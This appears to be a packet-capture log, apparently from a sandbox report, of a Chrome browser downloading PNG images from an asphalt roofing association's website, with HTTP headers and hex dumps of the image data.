2024-04-23 14:54:36 UTC	5281	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 ae 08 03 00 00 00 bb ac c0 20 00 00 00 75 50 4c 54 45 28 16 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 6c 6c a5 a8 ac a7 a9 ac 96 a3 ab 10 10 10 9b a5 ab a0 a7 ab 28 15 13 3f 27 24 59 2a 25 6b 1c 13 4f 0e 04 74 20 17 74 20 17 74 20 17 74 20 17 74 20 17 74 20 17 6a 1c 13 4f 0e 04 4f 0e 04 4e 0d 03 83 38 30 74 20 17 a7 a9 ac 95 a3 ab cb b3 af ec ed ee cb d2 d6 ff ff ff a9 b4 bb 00 00 00 69 72 4a 61 00 00 00 1c 74 52 4e 53 00 3a 69 9a c0 de f3 fc e9 b3 98 1d 65 35 0a 11 02 1e 42 41 67 97 a5 c4 e1 fc e9 b2 f5 45 f7 cf 00 00 13 bf 49 44 41 54 78 da ed 9d 8b 82 a2 3a 12 86 21 80 ab a2 21 8e a8 f4 cc 9c 6e 07 5b df ff 11 37 75 c9 0d 51 d1 d6 16 6d 33 bb 2d 81 80 f2 f9 a7 52 a9 Data Ascii: PNGIHDR, uPLTE(lll(?'$Y*%kOt t t t t t jOON80t irJatRNS:ie5BAgEIDATx:!!n[7uQm3-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.6	50151	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:36 UTC	985	OUT	GET /wp-content/uploads/2023/08/WebCard4_TechnicalDifficulty.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:36 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:36 GMT Content-Type: image/png Content-Length: 21622 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 02 Aug 2023 12:14:37 GMT ETag: "6020f0-5476-601ef9b78bd48" Accept-Ranges: bytes Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:36 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 03 e8 08 03 00 00 00 11 15 6a 83 00 00 00 51 50 4c 54 45 ff ff ff ef ef ef e8 e7 e7 dd dd dd cf cf cf bd bc bc aa aa aa 99 99 99 88 88 88 8d 85 84 78 77 77 7e 71 70 71 6b 6b 66 66 65 55 55 55 57 4b 53 4e 4d 4d 4e 4c 4b 51 48 47 54 45 44 44 43 43 49 3d 3c 3f 34 32 38 36 35 22 22 22 11 11 11 00 00 00 83 66 37 95 00 00 53 e0 49 44 41 54 78 da ed 9d 89 9a ab b6 b2 46 ed e3 89 38 db ce 4d 07 83 e1 fd 1f f4 7e 66 94 aa 4a 20 3c b4 c1 5e 7f ce 49 f6 ee 06 34 c0 a2 34 a1 7f f5 1f 72 f5 83 7c fd bb 7c fd df 23 5a c1 04 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 80 00 08 02 10 00 01 10 00 01 10 00 01 10 00 01 10 00 01 10 00 01 Data Ascii: PNGIHDR jQPLTExww~qpqkkffeUUUWKSNMMNLKQHGTEDDCCI=<?42865"""f7SIDATxF8M~fJ <^I44r\|\|#Z
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: 72 aa 2b bd 7e 08 db 6a 4f 9b 5b 51 c8 d7 c5 a1 7d 4e 4e 7e cf ff a8 00 59 b7 d7 b8 ee bb d4 da 47 ac 05 e4 50 78 57 bb 3d 1a eb bc 2c cb ed ba 28 37 2b f7 79 71 11 15 17 2e 8a 36 e1 62 b3 da e4 f5 1f 0f ed af da 44 d3 40 89 45 11 56 ab 7d e1 9e a1 01 39 99 85 0b 55 58 7f e0 76 15 c8 92 ba 58 57 0b ab d5 36 6f 7f b5 09 00 62 25 b0 bd ba b5 ea 5f c3 00 44 1e 70 7b d8 4f 5d 8d 56 3a 75 75 34 00 88 38 e7 43 00 39 55 d5 b8 2d ea da 6c 8a 7b 2c f3 6d fd 36 2e d6 a2 3a da e3 aa ff 26 cd 8b f6 d8 3e 91 4e 13 20 6f de 25 a7 b2 dc 79 e7 9e ca 73 03 c8 a1 79 8f 27 ed 7b 39 29 8f 69 fd e2 3b f5 54 e4 e5 46 04 79 ff c2 45 b1 2b d3 f5 6a b5 b9 96 f9 2a af 32 9e 96 d7 e6 61 49 ba 14 d2 60 89 bd 22 ac 8b 3a e5 cd b9 fa af 68 92 6d 9a 68 26 f3 10 ac b0 bc bc de 2e bb 49 Data Ascii: r+~jO[Q}NN~YGPxW=,(7+yq.6bD@EV}9UXvXW6ob%_Dp{O]V:uu48C9U-l{,m6.:&>N o%ysy'{9)i;TFyE+j*2aI`":hmh&.I
2024-04-23 14:54:36 UTC	5755	IN	Data Raw: 9a fc 62 c9 62 ab 5c 38 bd 9b 88 65 29 61 40 8e af 5a 7b f2 0b 6b b1 ae c5 6a d7 cc a4 1f da f1 48 e5 66 a4 ed 98 c2 80 4c f0 65 b2 4c 8f a4 c3 52 d8 73 a9 1b 42 ec 6f dd 61 38 af dd 30 ef 49 0d f3 86 00 19 5e 56 74 75 67 42 aa 31 36 6d b3 34 15 90 3a d3 b2 54 ee 30 ef 40 0a 76 53 cf 42 fb 3c 0c c8 55 00 12 e3 0d 16 06 64 c0 1e 6b f6 80 24 65 72 ba 4d 02 1c ca 7d da d5 97 74 33 d2 76 4c 61 40 a6 f8 32 19 a6 47 d2 61 69 c0 73 a9 49 f9 e4 d8 17 5d 07 f3 da 64 64 db 8d ee 77 13 85 a2 0c b1 ee 4d db a2 27 a4 59 d9 ab 6c 96 a2 00 d1 99 16 a5 72 4e 1a 48 41 9a 5b c9 b8 a2 ba 06 7e b1 55 2e 9c bc 47 78 83 85 01 d1 cf c4 72 00 d9 94 79 51 15 a7 48 9d 06 83 70 33 d2 76 4c d2 55 ca bd 2b f1 be 4c 96 e9 91 70 58 1a f0 5c 6a 53 6e 97 5e 9c ab 60 33 90 d7 36 23 49 d9 Data Ascii: bb\8e)a@Z{kjHfLeLRsBoa80I^VtugB16m4:T0@vSB<Udk$erM}t3vLa@2GaisI]ddwM'YlrNHA[~U.GxryQHp3vLU+LpX\jSn^`36#I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.6	50152	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:36 UTC	1016	OUT	GET /wp-content/uploads/2023/07/button_click-here-to-view-armas-submission-tip-sheet-600x52.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:36 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:36 GMT Content-Type: image/png Content-Length: 3027 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 14:44:21 GMT ETag: "60207c-bd3-601c97743d581" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:36 UTC	3027	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 58 00 00 00 34 08 03 00 00 00 61 11 b6 e6 00 00 00 3f 50 4c 54 45 df cc ca a2 6c 65 95 58 50 8c 49 40 ff ff ff f9 f5 f4 f1 e8 e7 e8 db d9 e0 ce cc d6 be ba cd b0 ac c3 a1 9c ba 92 8d b1 84 7e a9 77 70 a0 69 61 95 57 4f 8a 45 3c 82 39 2f 7a 2d 22 73 22 17 51 94 7e 2d 00 00 00 04 74 52 4e 53 02 2c 62 bd ca d6 d7 81 00 00 0b 3f 49 44 41 54 78 da ed 9d d9 6e 24 b7 0e 40 3d b6 a8 7d 57 fd ff b7 5e 90 d4 56 76 cd 8c 03 b4 93 fb 20 22 41 d4 ad 2a 2d e4 11 45 4a 46 fa ed ed ed ed ed d7 fb 47 bd 8e 1c 79 81 d4 8f f7 5f 6f 5d de 3f 8e 3e 8e bc 4e 3e de 3b 57 c7 5b 1d 79 ad d7 7a 3f 5c 1d f9 29 b2 7e 9d 7d f0 c8 eb 77 c3 5f 6f ef 47 0b 47 5e 2e ed fd ed 38 ac 23 3f e1 b2 de 4e 84 75 e4 47 c0 6a 47 09 47 7e 40 Data Ascii: PNGIHDRX4a?PLTEleXPI@~wpiaWOE<9/z-"s"Q~-tRNS,b?IDATxn$@=}W^Vv "A*-EJFGy_o]?>N>;W[yz?\)~}w_oGG^.8#?NuGjGG~@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.6	50153	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:36 UTC	741	OUT	GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-300x174.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:36 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:36 GMT Content-Type: image/png Content-Length: 5128 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 19:20:13 GMT ETag: "6020b0-1408-601cd51d66966" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:36 UTC	5128	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 ae 08 03 00 00 00 bb ac c0 20 00 00 00 8a 50 4c 54 45 5a 33 2d 2c 10 0c 78 4b 44 01 01 01 01 00 00 00 00 00 4b 0f 06 6b 1b 12 74 20 17 6d 1c 13 74 20 17 8e 51 32 94 5c 38 b5 98 5a b5 98 5a b5 98 5a a7 a9 ac a7 a9 ac a7 a9 ac a7 a9 ac a7 a9 ac bc a2 9e b5 98 5a 74 20 17 74 20 17 4f 0e 03 4c 0d 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4e 0d 03 61 17 0d 74 20 17 80 33 2b c7 b1 83 be a4 6e b5 98 5a d4 c3 9f f6 f3 ec ff fe fe ed e5 da e2 d4 c4 a7 a9 ac 4e f9 d0 e1 00 00 00 20 74 52 4e 53 00 0a 10 1b 33 48 3e 46 67 21 98 94 91 98 33 67 33 61 98 c4 ea fe f2 e4 ba c3 ee de f3 c1 9a 6d 0e 98 b0 b7 00 00 13 0d 49 44 41 54 78 da ed 9d 09 73 e2 b8 12 80 91 8f 70 54 cd 2c d7 3e b3 63 Data Ascii: PNGIHDR, PLTEZ3-,xKDKkt mt Q2\8ZZZZt t OLNat 3+nZN tRNS3H>Fg!3g3amIDATxspT,>c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.6	50149	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:36 UTC	726	OUT	GET /wp-content/uploads/2023/07/2024AwardsBanner-Submit.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:36 UTC	518	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:36 GMT Content-Type: image/png Content-Length: 842705 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 16:53:06 GMT ETag: "602090-cdbd1-601cb43b52a7e" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:36 UTC	7674	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0f 77 00 00 03 42 08 03 00 00 00 f8 40 57 fd 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 6c 50 4c 54 45 ff ff fe ed f1 f6 e7 ed f3 e2 e7 ec e0 df de d8 e0 e9 d8 d9 d8 d3 d2 d1 cc cc c9 c7 c6 c4 c2 c2 c0 be bd bb b9 b9 b7 b5 b5 b3 b0 b0 ad aa aa a8 8e 95 9c a2 8a 88 82 8b 95 95 7b 79 79 80 87 73 74 71 66 68 64 82 5a 55 5a 5d 57 70 48 42 4e 50 4e 66 36 30 6a 21 19 5f 1c 14 57 18 11 35 23 22 4c 13 0c 3b 10 0a 27 0e 0b 00 00 00 8d 34 5f 69 00 0c db 0b 49 44 41 54 78 01 04 c1 01 92 1c 07 70 03 30 90 b3 27 3b ff ff 6b 2a d6 ed 34 03 e4 5f b0 b0 8c 0c 58 16 84 c5 98 05 59 32 a9 17 58 16 80 84 c5 2c 00 90 c9 c2 04 0b 16 cb 6c 00 00 00 00 2c 34 b1 3b 2c b3 34 7d 62 b3 c1 b2 4c 60 c8 Data Ascii: PNGIHDRwB@WpHYs&?lPLTE{yystqfhdZUZ]WpHBNPNf60j!_W5#"L;'4_iIDATxp0';k*4_XY2X,l,4;,4}bL`
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: 2c 23 cb 00 31 19 d2 b3 0d b8 b4 eb b7 ed b0 f5 cf d2 cb 6c 11 6b ba 5d 92 77 d3 41 12 77 f6 a2 47 c6 4d 9b 7d 16 93 f9 8b b8 be d9 96 e6 26 bb a4 ec 1b 7d f9 24 c9 69 45 58 be fd 66 26 26 06 24 eb 32 91 e7 42 12 bb 84 45 c4 80 58 32 dc 2d f1 65 21 e4 98 b0 b5 4b 36 21 61 c2 2c b3 b0 29 13 cb 7f db dd e9 db 99 64 89 e7 db b5 8b d9 c5 42 73 e9 74 df 67 22 c9 32 b3 b9 34 03 f5 7d 92 6c 89 dd 13 e2 84 61 ba b8 74 3d 73 7e 46 7a bb c5 41 44 1c 49 17 6e 2d 66 b3 34 dc b4 76 4f b2 65 1b 49 b2 44 ff dd ee b3 0c fb ee a7 24 77 8f c5 98 c5 92 dc 42 dc df f2 22 a3 6e bb b2 58 a2 58 ec 85 6d 49 df df bf 5f 87 77 ed 5d 9f 11 93 7d 58 e3 9f 5f c4 48 93 de 12 4b f6 35 e9 92 4b fa c0 32 34 30 7a bb f7 66 b1 59 3c 77 0f 26 36 f5 47 1e db 04 96 df dd b7 17 cf ed db 4f c2 Data Ascii: ,#1lk]wAwGM}&}$iEXf&&$2BEX2-e!K6!a,)dBstg"24}lat=s~FzADIn-f4vOeID$wB"nXXmI_w]}X_HK5K240zfY<w&6GO
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: 2b 72 5c 0f 47 7b b8 2f 02 a0 73 bd ea d1 2d 3c ba ff fe 9f d1 24 bb 39 5d 9b 45 dd 7d f4 d6 ef b1 8c 19 d8 42 0c 42 98 ef 23 09 37 b0 20 0c e3 f7 ec df 2e 91 c9 62 59 c8 70 8b ad d6 16 20 c0 02 01 00 08 16 04 00 00 80 05 00 00 08 00 00 08 00 04 08 00 40 20 80 05 60 01 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 80 00 10 10 00 00 00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0c 63 01 03 23 cb 62 6e 7e c9 18 60 02 3d 06 12 88 6d 32 00 80 c0 30 21 c3 b0 65 cb c4 40 00 e2 46 06 0b c4 72 8d a5 b1 4b a2 9d de 62 b7 b8 64 18 59 64 99 31 d9 00 4b 10 cb 12 08 44 16 cb 82 2c 46 90 85 45 2c 8b 20 13 21 00 81 58 90 61 4c 86 cc c8 90 59 16 0b 98 65 61 12 e9 60 23 06 59 97 5c bb 2c e4 6c 09 d9 96 bb 5a 18 d4 59 e5 c2 ad 5d 72 36 41 17 41 ae 6c 21 Data Ascii: +r\G{/s-<$9]E}BB#7 .bYp @ `Xc#bn~`=m20!e@FrKbdYd1KD,FE, !XaLYea`#Y\,lZY]r6AAl!
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: cb 93 5f c9 69 bf e2 d9 e3 7d 9e b7 f4 f4 10 59 8b 2b ba 05 a5 a8 0c 96 00 28 ae b0 5e 8f f6 54 b8 5e 0f a7 5c 4f e5 1c 80 c8 cc 22 8b c5 b5 cb 95 d3 43 ed 29 35 5c c5 29 01 c7 15 fc 86 0b fe be 7b ae 7b 70 f4 3c 8e 03 40 af 75 f4 70 3d 67 4c d4 75 a1 1c b8 c2 15 00 70 05 90 91 09 ca 29 38 c8 d7 03 f4 00 80 a3 57 a0 05 a8 ce 83 ab ec 0d 5b ae 3d ed d5 75 c1 e9 69 66 24 4e cf 1f c0 4f ce fd ea b8 cf 51 70 2a 7a 4a dd 51 57 07 0e da 70 e5 71 7c b1 70 d7 72 0e ae 47 1d 65 ee fa d8 44 c2 88 7c 39 fd fe 7b 0f 8d 64 e2 5f 97 7d 77 96 91 09 fe ea 9e 8c 4c d6 df cf 58 58 16 b1 2c 62 01 ca 23 eb 79 3e f1 cd 6d 04 2c 04 04 c0 02 2c 60 01 0b 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 Data Ascii: _i}Y+(^T^\O"C)5\){{p<@up=gLup)8W[=uif$NOQp*zJQWpq\|prGeD\|9{d_}wLXX,b#y>m,,`
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: 18 c8 02 18 81 a3 21 86 60 96 4d 66 20 00 0b 21 73 13 06 2c 04 63 2c 30 c4 51 a7 c0 84 64 80 41 30 01 60 42 03 6c 01 23 8b 65 c6 c0 04 2c 0b 2c 43 20 64 08 26 0b 2c b2 0d 44 64 4b 32 91 05 02 11 c0 64 99 b1 4c dc 75 0b 6e 10 b2 2c 18 c0 32 00 08 5a 2c 58 b0 88 04 ef ad 77 77 93 6d db 97 fb ba b8 c7 e4 97 b8 6d 42 64 bd 2d 2e 56 61 7f df da b4 af db 01 ba ed 5c 9e f6 02 bd bd 03 00 0b c1 ec 6f b7 65 49 7b 19 fe bb df 39 ae 5f fd 1a fd f2 83 72 c5 83 68 9f 5c 79 f8 f2 91 2d 03 7b ae a5 cb a1 c7 dd 3b bd a3 d7 fb b5 7c 82 e0 80 3a 94 1e 75 d4 a1 07 20 03 ee e8 95 eb 39 5a 87 9e 56 b8 e2 b8 ea 39 d7 e3 50 e0 eb e1 b8 06 be 9e c0 b5 87 aa 96 84 ab d7 f7 8b ca 71 0a e4 59 f1 f5 07 81 4f af e7 0f fe e0 de 73 f0 a2 a7 02 14 bd 03 85 e2 7c ef 5d 0f 4a ed 93 03 ca Data Ascii: !`Mf !s,c,0QdA0`Bl#e,,C d&,DdK2dLun,2Z,XwwmmBd-.Va\oeI{9_rh\y-{;\|:u 9ZV9PqYOs\|]J
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: dc 22 c9 3e ef 6d c4 8d e9 32 79 27 a1 49 ba 2f 09 59 7f f7 5f 64 58 e4 4d 00 23 2c 5b 58 16 63 21 83 41 70 9b 37 82 cc 59 d0 bc 35 0b 5b 66 73 26 dc b2 c0 32 59 ce fd 4d d8 2d f2 6c 97 34 bf 7f 7f 7f 58 6e df 1a cd e4 c6 b2 08 64 48 16 8f c9 ea 68 78 1d 4b 5c 37 23 c6 2f 32 ae 6a 71 58 06 08 e3 73 92 08 78 13 b7 e5 bb a8 9b 99 5c 4e 78 b1 dd d2 60 ce 02 79 6a 67 c9 7d 21 b3 5a c4 17 8b d5 bd 8b cd c5 66 62 23 91 74 71 fb e5 98 34 8b 2c c1 62 07 81 01 34 18 10 98 19 d5 00 60 64 3e 64 1f 52 0e 82 11 17 93 51 2e a3 82 2b a8 2f 9c a3 38 1a 30 3f 48 f4 64 d9 db f1 46 0f 2e 77 63 59 01 76 13 64 52 a2 4c 00 9a aa 0f c4 72 bd 9e 83 1e f2 a6 b8 82 c3 61 1c 19 08 d3 05 86 91 19 45 18 26 60 19 43 36 04 01 93 c5 03 35 31 9f f4 02 e3 fd f9 16 ae ae 0f 05 e0 ba 6c 8c Data Ascii: ">m2y'I/Y_dXM#,[Xc!Ap7Y5[fs&2YM-l4XndHhxK\7#/2jqXsx\Nx`yjg}!Zfb#tq4,b4`d>dRQ.+/80?HdF.wcYvdRLraE&`C651l
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: 3b 18 98 70 8b f3 dc 75 ab 6d a3 6c e9 d9 d3 79 ca b7 df 19 e2 75 a0 35 fd 7b bf d0 b4 d7 fd de c8 ca 6b 55 e6 73 57 6d 3e 6a df 04 7f fd ee b6 7d 26 f3 6e 62 f0 ef d8 6a df 8f 96 99 b7 14 ac ec 9d 86 55 5b 80 61 10 34 bc 09 dd 3d 06 6e 9b 71 04 6b 54 6b a6 a5 8c d6 3d d5 d0 c2 82 98 c5 72 a3 f1 df f6 bd 77 b8 57 f3 1b ad 55 78 e5 02 e3 b9 c7 a2 8d 18 46 36 83 d9 5f 64 3d 66 21 07 06 68 2d 3f 0d eb b7 df c7 17 6f 7c 7a de 02 d8 96 36 df fb 9e f8 c1 dc fb 3c 3f 1e be 3b fe 5c 8e d3 6e 0b d3 24 2e 00 3c 9f 8f 22 98 e1 4f 88 77 ef de 79 37 7a bd 9b d5 8f 23 2c 76 c0 83 81 36 81 68 3d 8f 46 8f e7 69 f9 01 07 da f1 46 d8 47 1e cf e3 79 7b d3 39 ee 25 20 86 d6 e3 f0 ce 39 c8 40 e3 dd 83 76 40 34 20 cd 8b 35 f8 93 b5 c9 47 ee 78 58 7b 16 4c 6b 30 48 dc 9b 6f 19 Data Ascii: ;pumlyu5{kUsWm>j}&nbjU[a4=nqkTk=rwWUxF6_d=f!h-?o\|z6<?;\n$.<"Owy7z#,v6h=FiFGy{9% 9@v@4 5GxX{Lk0Ho
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: bd ef 62 b3 06 76 c9 6f 51 62 9a 10 9f 26 64 5b 70 42 b2 e0 d6 00 32 81 09 4c 70 93 5e 32 59 30 b7 d9 92 cd d4 e0 9a e5 12 01 88 98 64 97 80 4c 26 91 20 15 23 7e c7 8d de ef 8c c8 6c 2e 32 c2 80 09 1d 8e 1d 15 a6 38 ea 40 c5 9c 89 a0 4e 0f d2 cb a4 ce 3e 58 c2 96 a0 c2 30 89 58 f6 db 86 01 43 0f c1 96 b8 99 21 e3 ca a7 ed d6 1a 49 12 f9 8d e1 1a 11 64 62 59 80 45 d8 98 84 c9 7c 84 c9 a9 3a e7 40 29 62 ab eb 35 11 ac 0a 70 ca 4d fc dc ef 28 c7 ca 92 81 61 00 20 db 8c 13 be 91 0f 9f 50 ae 97 2d a8 03 45 16 73 80 e1 58 dc 82 9f d3 3b 2c 76 46 8e 9e 92 81 cb 20 23 62 23 63 66 93 0b 0c 16 1c bd 02 70 0a 70 c5 a9 ac 1c f4 88 01 a1 17 80 81 01 84 91 cc c2 f6 be 20 7a 46 96 11 fb 62 c0 08 00 02 32 18 2e 04 f4 08 a2 0e 84 18 99 ac 0b 80 81 11 8e 09 14 08 7a 4c 08 Data Ascii: bvoQb&d[pB2Lp^2Y0dL& #~l.28@N>X0XC!IdbYE\|:@)b5pM(a P-EsX;,vF #b#cfpp zFb2.zL
2024-04-23 14:54:36 UTC	8192	IN	Data Raw: 39 98 05 c4 b2 30 d2 30 92 d3 68 b6 bc 5f e3 7b 9e 2d 46 9e 85 49 3e 83 30 c9 27 59 7e ea 44 06 3b f4 0a 3d 07 38 8c 4f 76 fb c4 8c 03 f8 9d 1f 70 cc 02 d7 bb 2e 7e 3b 50 1c bd 5e c1 a9 c3 b2 60 88 b9 24 dd 24 e2 57 f7 7e 0b 5b 27 5b f7 3d bf f7 43 03 aa 9b 0b 76 b9 9a e4 30 22 16 2c e6 23 fb 58 90 53 00 1c 3d 7a 60 33 26 c8 b2 05 93 65 72 39 13 05 4a 8f 89 82 cc d5 e9 d1 18 07 20 e0 8c 11 c4 b2 cc 42 8c 30 ec 24 60 19 a7 bd 7e 40 af 38 2c 1c 2c ed 2d 83 d0 9b 85 03 05 a7 f8 19 fb 71 c1 24 2c 93 65 88 85 c9 22 66 00 b8 90 0d 91 65 0b b3 c8 32 18 0b 03 62 c0 c8 e7 0b b0 10 11 ac 90 a1 e1 0b b0 4c 24 64 8c 98 65 12 c8 40 96 58 02 8b 09 00 21 2e 00 08 16 cb 32 6f 82 40 e0 77 b0 08 02 19 0b 23 62 61 30 16 46 c0 c5 5c 16 82 63 21 c3 80 58 90 09 c2 22 02 01 26 Data Ascii: 900h_{-FI>0'Y~D;=8Ovp.~;P^`$$W~['[=Cv0",#XS=z`3&er9J B0$`~@8,,-q$,e"fe2bL$de@X!.2o@w#ba0F\c!X"&
